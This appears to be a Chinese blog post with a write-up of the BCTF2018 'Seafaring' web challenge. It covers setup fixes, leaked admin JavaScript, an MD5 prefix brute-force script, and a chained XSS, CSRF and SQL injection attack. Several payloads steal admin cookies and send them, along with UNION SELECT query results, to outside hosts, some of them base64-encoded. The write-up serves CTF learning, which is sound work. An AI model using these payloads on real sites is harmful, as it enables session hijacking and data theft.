• XSS+CSRF思考(BCTF2018


    项目地址:https://github.com/blue-lotus/BCTF2018/tree/master/web/Seafaring

    看WP一天了,最后还是一知半解只能放弃(生草),时间不等人还有其他事要办

    前排排错:

    1.需要赋予/docker_files/start.sh文件777的权限

    2.需要修改/checker/checker.py中的URL为自己的,出题人MD文件里也阐明了

    3.docker-compose.yml文件的错误

    出题人上传时没有仔细修改过docker搭建文件,搭建时和自己环境有出入

    搭建bug,将下面注释删除,

    否则远程浏览器的容器会没有访问端口映射:

    正确情况:

    4./selenium文件夹下的run.sh需要修改URL地址

    Seafaring1

    当年BCTF2018题目上线的时候有hint:robots.txt

    1.首先扫后台

    访问/admin/handle_message.php抓包

    {"result":"","error":"CSRFToken  ''is not correct"}
    curl 上面的后台题目地址

    发现出题人故意把html代码都显示了

    结合刚刚的token,查找有用的代码如下:

    curl 地址/admin/index.php:

    发现会泄露一些异步加载的API和参数

    <script>
        function view_uid(uid) {
            $.ajax({
                type: "POST",
                url: "/admin/handle_message.php",
                data: {"token": csrf_token, "action": "view_uid", "uid": uid},
                dataType: "json",
                success: function (data) {
                    if (!data["error"]) {
                        data = data['result'];
                        var Status = '';
                        $('#timestamp').text(data['timestamp']);
                        $('#username').text(data['user_name']);
                        $('#message').text(data['message']);
                        document.getElementById("replyuid").value=data['uid'];
                        if (parseInt(data['is_checked']) == 1) {
                            Status = '<div style="color:#04FF00">Checked</div>';
                        } else {
                            Status = '<div style="color:#FFA500">Not Checked</div>';
                        }
                        document.getElementById("status").innerHTML = Status;
                    }
                    else
                        alert('Error: ' + data["error"]);
                }
            });
        }
    
        function view_unreads() {
            $.ajax({
                type: "POST",
                url: "/admin/handle_message.php",
                data: {"token": csrf_token, "action": "view_unreads", "status": 0},
                dataType: "json",
                success: function (data) {
                    if (!data["error"]) {
                        data = data['result'];
                        var html = '';
                        var tbody = document.getElementById("comments");
                        for (var i = 0; i < data.length; i++) {
                            var Time = data[i][0];
                            var Username = data[i][1];
                            var Uid = data[i][2];
                            var Status = '';
                            if (parseInt(data[i][3]) == 1) {
                                Status = '<div style="color:#04FF00">Checked</div>';
                            } else {
                                Status = '<div style="color:#FFA500">Not Checked</div>';
                            }
                            html += "<tr> <td > <center> " + Time + " </center></td> <td> <center> " + Username + " </center></td> <td> <center> <a onclick = view_uid('" + Uid + "') > " + Uid + " </a></center> </td> <td> <center> " + Status + " </center></td> </tr>"
                        }
                        tbody.innerHTML = html;
                    }
                    else
                        alert('Error: ' + data["error"]);
                }
            });
        }
    
        function set_reply() {
            var uid = document.getElementById("replyuid").value;
            var  reply =  document.getElementById("replymessage").value;
            $.ajax({
                type: "POST",
                url: "/admin/handle_message.php",
                data: {"token": csrf_token, "action": "set_reply", "uid": uid, "reply": reply},
                dataType: "json",
                success: function (data) {
                    if (!data["error"]) {
                        data = data['result'];
                        alert('Succ: ' + data);
                    }
                    else
                        alert('Error: ' + data["error"]);
                }
            });
        }
    
        function load_all() {
            $.ajax({
                type: "POST",
                url: "/admin/handle_message.php",
                data: {"token": csrf_token, "action": "load_all"},
                dataType: "json",
                success: function (data) {
                    if (!data["error"]) {
                        data = data['result'];
                        var html = '';
                        var tbody = document.getElementById("comments");
                        for (var i = 0; i < data.length; i++) {
                            var Time = data[i][0];
                            var Username = data[i][1];
                            var Uid = data[i][2];
                            var Status = '';
                            if (parseInt(data[i][3]) == 1) {
                                Status = '<div style="color:#04FF00">Checked</div>';
                            } else {
                                Status = '<div style="color:#FFA500">Not Checked</div>';
                            }
                            html += "<tr> <td > <center> " + Time + " </center></td> <td> <center> " + Username + " </center></td> <td> <center> <a onclick = view_uid('" + Uid + "') > " + Uid + " </a></center> </td> <td> <center> " + Status + " </center></td> </tr>"
                        }
                        tbody.innerHTML = html;
                    }
                    else
                        alert('Error: ' + data["error"]);
                }
            });
        }
        setTimeout(load_all, 1000);
    </script>

     多试一下POST和GET传token的值,POST时会在页面显示token

    怀疑可以XSS,看有没有过滤

    ‘/’被过滤了,尝试img标签实现XSS

    2.内网访问

    注册用户时会有一个MD5截断验证的输入

    #!/usr/bin/env python
    import hashlib
    
    
    def md5(s):
        return hashlib.md5(s.encode("utf8")).hexdigest()
    
    
    for i in range(1, 9999999):
        if md5(str(i)).startswith('600C'):
            print(i)

    题目应该是有什么问题,就去题目文件里面看了,出题人是提前把数字对应的MD5写到了文件里

    最后发现是MD5对于大小写敏感的问题,把所有页面显示的字母替换为小写即可

    注册登录

    能提交网址给管理员查看,管理员会使用远程selenium浏览Message中的网址

    我们可以用CSRF让其访问内网文件

    3.组合拳XSS+CSRF+SQL注入

    使用burp生成CSRF的POC

    <html>
      <!-- CSRF PoC - generated by Burp Suite Professional -->
      <body onload="document.forms[0].submit()">
      <script>history.pushState('', '', '/')</script>
        <form action="(换成自己配置的网址)URL/admin/handle_message.php" method="POST">
          <input type="hidden" name="action" value="view&#95;unreads" />
          <input type="hidden" name="status" value="1" />
          <input type="hidden" name="token" value="d096148ee0d3cf1&apos;&lt;svg&#32;onload&#61;&apos;img&#32;&#61;&#32;new&#32;Image&#40;&#41;&#59;&#32;img&#46;src&#61;String&#46;fromCharCode&#40;104&#44;&#32;116&#44;&#32;116&#44;&#32;112&#44;&#32;58&#44;&#32;47&#44;&#32;47&#44;&#32;50&#44;&#32;48&#44;&#32;50&#44;&#32;46&#44;&#32;49&#44;&#32;49&#44;&#32;50&#44;&#32;46&#44;&#32;53&#44;&#32;49&#44;&#32;46&#44;&#32;49&#44;&#32;51&#44;&#32;48&#44;&#32;58&#44;&#32;57&#44;&#32;48&#44;&#32;57&#44;&#32;48&#44;&#32;47&#44;&#32;63&#44;&#32;122&#44;&#32;61&#41;&#46;concat&#40;btoa&#40;document&#46;cookie&#41;&#41;&#59;&apos;&gt;&apos;" />
          <input type="submit" value="Submit request" />
        </form>
      </body>
    </html>

    或是自己写好一个放到服务器上,提交网址让管理员访问获取cookie,中间的XSS代码用base64加密了以防被转义

    <form method="post" action="配置的网址/admin/handle_message.php"> <input name="token" value="<svg onload=document.write(atob('PHNjcmlwdD4KbG9jYXRpb249Imh0dHA6Ly96em0uY2F0OjgwODAvP2M9Iitlc2NhcGUoZG9jdW1lbnQuY29va2llKTsKPC9zY3JpcHQ+'))>"> </form> <script> document.forms[0].submit(); </script>

    flag在内网数据库内,只能管理员访问因此需要正确的csrf_token

    在发掘时注意到status参数可进行注入

    function view_unreads() {
            $.ajax({
                type: "POST",
                url: "/admin/handle_message.php",
                data: {"token": csrf_token, "action": "view_unreads", "status": 0},
                dataType: "json",

    同理

    <form method="post" action="配置的网址/admin/handle_message.php"> <input name="token" value="<svg onload=document.write(atob('PHNjcmlwdD4KdmFyIGFhID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7CmFhLm9wZW4oJ0dFVCcsICdodHRwOi8vc2VhZmFyaW5nLnhjdGYub3JnLmNuOjk5OTkvY29udGFjdC5waHAnLCBmYWxzZSk7CmFhLnNlbmQoKTsKYmIgPSBhYS5yZXNwb25zZVRleHQ7CnRva2VuID0gYmIubWF0Y2goL2NzcmZfdG9rZW4gPSAiKFx3KykiLylbMV07Cgp2YXIgYSA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwphLm9wZW4oJ1BPU1QnLCAnaHR0cDovL3NlYWZhcmluZy54Y3RmLm9yZy5jbjo5OTk5L2FkbWluL2hhbmRsZV9tZXNzYWdlLnBocCcsIGZhbHNlKTsKYS5zZXRSZXF1ZXN0SGVhZGVyKCJDb250ZW50LVR5cGUiLCJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKTsKYS5zZW5kKCJ0b2tlbj0iK3Rva2VuKyImYWN0aW9uPXZpZXdfdW5yZWFkcyZzdGF0dXM9LTEgdW5pb24gc2VsZWN0IDEsKHNlbGVjdCAqIGZyb20gZjExMTExMWFnKSwzLDQjIik7CmIgPSBhLnJlc3BvbnNlVGV4dDsKbG9jYXRpb24uaHJlZiA9ICdodHRwOi8venptLmNhdDo4MDgwLzQwNC5waHA/dG9rZW49Jyt0b2tlbisnJmNvbnRlbnQ9JyArIGVzY2FwZShiKTsKPC9zY3JpcHQ+'))>"> </form> <script> document.forms[0].submit(); </script> <!-- base64内容如下: <script> var aa = new XMLHttpRequest(); aa.open('GET', 'http://seafaring.xctf.org.cn:9999/contact.php', false); aa.send(); bb = aa.responseText; token = bb.match(/csrf_token = "(w+)"/)[1]; var a = new XMLHttpRequest(); a.open('POST', 'http://seafaring.xctf.org.cn:9999/admin/handle_message.php', false); a.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); a.send("token="+token+"&action=view_unreads&status=-1 union select 1,(select * from f111111ag),3,4#"); b = a.responseText; location.href = 'http://zzm.cat:8080/404.php?token='+token+'&content=' + escape(b); </script> -->

    最后得到flag

    参考:https://www.cnhackhy.com/38558.html

    参考:https://moxiaoxi.info/ctf/2018/12/01/BCTF2018seafaring/

    参考:https://xz.aliyun.com/t/3470#toc-3

    [Sign]做不出ctf题的时候很痛苦,你只能眼睁睁看着其他人领先你
  • 相关阅读:
    常用不等式例题整理
    洛谷P1233 木棍加工题解 LIS
    莫比乌斯反演
    CSS样式使用
    相邻元素的层级(仿淘宝页面效果)
    js基础知识梳理(最简版)
    css2基础知识梳理
    html4基础知识梳理
    mysql密码遗忘和登陆报错问题
    mysql修改密码过期时间以及密码复杂性问题
  • 原文地址:https://www.cnblogs.com/echoDetected/p/14428111.html
Copyright © 2020-2023  润新知